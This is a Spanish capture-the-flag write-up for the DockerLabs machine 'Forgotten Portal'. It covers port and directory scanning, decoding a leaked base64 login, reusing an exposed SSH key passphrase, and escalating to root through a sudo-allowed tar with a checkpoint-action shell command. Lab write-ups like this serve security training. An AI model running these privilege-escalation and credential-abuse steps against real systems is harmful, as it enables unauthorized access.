

FORGOTTEN PORTAL

Forgotten Portal NEW

Descripción: En las profundidades del ciberespacio, hay algo que llaman Forgotten Portal. Dicen que es un sistema olvidado, lleno de secretos y retos que pocos se atreven a explorar. Lo subieron en DockerLabs, y puedes entrar para buscar las flags que revelan su historia... pero no será fácil. ¿Te atreves a cruzar el umbral? 🚪

Sistema Operativo: 🐧 Linux

Autor: CyberLand

[DESCARGAR MÁQUINA](#)[MEDIA](#)

Realizamos escaneo nmap, detectamos el puerto 22 y 80 abiertos.

```
└─$ ../../obtain_data.sh 172.17.0.2
The ip_address '172.17.0.2' is valid
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-07 15:51 CET
Nmap scan report for 172.17.0.2
Host is up (0.000062s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 1d:4a:16:27:ad:b8:0b:aa:28:64:b0:10:3b:be:79:1c (ECDSA)
|_  256 0b:0f:11:d6:5a:e9:f5:25:c8:17:0d:71:c1:29:c9:53 (ED25519)
80/tcp    open  http     Apache httpd 2.4.58 ((Ubuntu))
|_ http-title: CyberLand Labs - Innovaci\u00f3n en Ciberseguridad
|_ http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   0.06 ms  172.17.0.2
```

Realizando un escaneo con dirb con el diccionario por defecto nos devuelve las siguientes urls. Siendo la de access_log interesante.

```
Running dirb on http://172.17.0.2:80

-----
DIRB v2.22
By The Dark Raver
-----

START_TIME: Sat Dec 7 15:51:35 2024
URL_BASE: http://172.17.0.2:80/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Ignoring NOT_FOUND code -> 404
OPTION: Not Recursive
OPTION: Not Stopping on warning messages

-----

GENERATED WORDS: 4612

---- Scanning URL: http://172.17.0.2:80/ ----
+ http://172.17.0.2:80/access_log (CODE:200|SIZE:994)
+ http://172.17.0.2:80/index.html (CODE:200|SIZE:3010)
+ http://172.17.0.2:80/server-status (CODE:403|SIZE:275)
==> DIRECTORY: http://172.17.0.2:80/uploads/
```

En el contenido de access log encontramos lo que indica ser la clave codificada, vamos a comprobar lo que es realmente.

```
172.17.0.2/access_log

Exploit-DB Google Hacking DB base64 | GTF0Bins Online - Reverse Shell ... Path Hijacking y Libr

# --- Access Log ---
# Fecha: 2023-11-22
# Descripción: Registro de actividad inusual detectada en el sistema.
# Este archivo contiene eventos recientes capturados por el servidor web.

[2023-11-21 18:42:01] INFO: Usuario 'www-data' accedió a /var/www/html/.
[2023-11-21 18:43:45] WARNING: Intento de acceso no autorizado detectado en /var/www/html/admin/.
[2023-11-21 19:01:12] INFO: Script 'backup.sh' ejecutado por el sistema.
[2023-11-21 19:15:34] ERROR: No se pudo cargar el archivo config.php. Verifique las configuraciones.

# --- Logs del sistema ---
[2023-11-21 19:20:00] INFO: Sincronización completada con el servidor principal.
[2023-11-21 19:35:10] INFO: Archivo temporal creado: /tmp/tmp1234.
[2023-11-21 19:36:22] INFO: Clave codificada generada: YWxpY2U6czNjcjN0cEBzc3cwcmReNDg3
[2023-11-21 19:50:00] INFO: Actividad normal en el servidor. No se detectaron anomalías.
[2023-11-22 06:12:45] WARNING: Acceso sospechoso detectado desde IP 192.168.1.100.

# --- Fin del Log ---
```


Por lo visto está codificado en base64 y es login de la usuaria alice.

Recipe

From Base64

Alphabet
A-Za-z0-9+/=

☒ Remove non-alphabet chars

☐ Strict mode

Input

YWxpY2U6czNjcjN0cEBzc3cwcmReNDg3

Output

alice:s3cr3tp@ssw0rd^487

Accedemos mediante ssh con la usuaria alice la cual no está dentro del grupo sudoers.

```
$ ssh alice@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:LfFmECrLnmJ0/4Gh8vgHxXB41HKAgске+GofnJ4Pzpk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
alice@172.17.0.2's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.11.2-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Máquina generada con cyberland.sh script desarrollado por 4k4m1m3. Gracias por elegir CyberLand Labs!
Visita: https://cyberlandsec.com
alice@e9c89abeb495:~$ sudo -l
[sudo] password for alice:
Sorry, user alice may not run sudo on e9c89abeb495.
```


En su directorio encontramos la flag.

```
alice@e9c89abeb495:~$ cat user.txt
alice@e9c89abeb495:~$
```

Dentro del mismo directorio de alice, en la carpeta incidents, encontramos un reporte en el cual tenemos alguna que otra pista.

```
alice@e9c89abeb495:~/incidents$ ls
report
alice@e9c89abeb495:~/incidents$ cat report
=== INCIDENT REPORT ===
Archivo generado automaticamente por el sistema de auditoria interna de CyberLand Labs.

Fecha: 2023-11-22
Auditor Responsable: Alice Carter
Asunto: Configuracion Erronea de Claves SSH

=== DESCRIPCION ===
Durante una reciente auditoria de seguridad en nuestro servidor principal, descubrimos un grave error de configuracion en el sistema de autentificacion SSH. El problema parece originarse en un script automatizado utilizado para generar claves RSA para los usuarios del sistema.

En lugar de crear claves unicas para cada usuario, el script genero una unica clave `id_rsa` y la replico en todos los directorios de usuario en el servidor. Ademas, la clave esta protegida por una passphrase se que, aunque tecnicamente existe, no ofrece ningun nivel real de seguridad.

=== HALLAZGO ADICIONAL ===
Durante el analisis, encontramos que la passphrase de la clave privada del usuario `bob` se almaceno accidentalmente en un archivo temporal en el sistema. El archivo no ha sido eliminado, lo que significa que la passphrase esta ahora expuesta.

**Passphrase del Usuario `bob`:** `cyb3r_s3curity`

=== DETALLES DE LA CONFIGURACION ===
Clave Privada: id_rsa
Passphrase: cyb3r_s3curity
Ubicacion: Copiada en todos los directorios `/home/<usuario>/ssh/`

=== CONSECUENCIAS ===
1. **Pérdida de Privacidad**: Todos los usuarios comparten la misma clave, lo que significa que cualquier persona puede autenticarse como cualquier otro usuario si obtiene acceso a la clave.

=== POSIBLES SOLUCIONES ===
- Implementar un sistema centralizado de gestion de claves.
- Forzar a los usuarios a cambiar sus claves regularmente.
- Actualizar las politicas internas para prohibir el uso de scripts inseguros en la configuracion de credenciales.

=== NOTA FINAL ===
Este incidente pone de manifiesto la importancia de revisar las configuraciones criticas en sistemas sensibles. Es crucial que todo el equipo de IT se mantenga alerta y que se implementen controles mas estrictos para evitar errores similares en el futuro.

--- FIN DEL INFORME ---
```

```

kali@kali:~/forbidden_portal$ ls -la
total 12
drwxrwxr-x  2 kali kali 4096 Dec 10 14:23 .
drwx----- 48 kali kali 4096 Dec 10 14:23 ..
-rw-rw-r--  1 kali kali  444 Dec 10 14:23 id_rsa

kali@kali:~/forbidden_portal$ chmod 600 id_rsa

kali@kali:~/forbidden_portal$ ls -la
total 12
drwxrwxr-x  2 kali kali 4096 Dec 10 14:23 .
drwx----- 48 kali kali 4096 Dec 10 14:23 ..
-rw-----  1 kali kali  444 Dec 10 14:23 id_rsa

```

Una vez conseguimos el acceso de bob comprobamos si se puede ejecutar algo como sudo. En este caso se puede ejecutar el comando tar

```
bob@e9c89abeb495:~$ sudo -l
Matching Defaults entries for bob on e9c89abeb495:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User bob may run the following commands on e9c89abeb495:
    (ALL) NOPASSWD: /bin/tar
```

Ahora, como siempre en estos casos, nos dirigimos a la página <https://gtfobins.github.io/gtfobins/tar/#sudo> donde podemos ver o guiarnos que comandos utilizar para aprovechar este privilegio mal configurado para lograr la escalada a root y obtener la deseada flag.

```
bob@e9c89abeb495:~$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading '/' from member names
# whoami
root
# ls
# cd /root
# ls
archive.tar  root.txt
# cat root.txt
#
```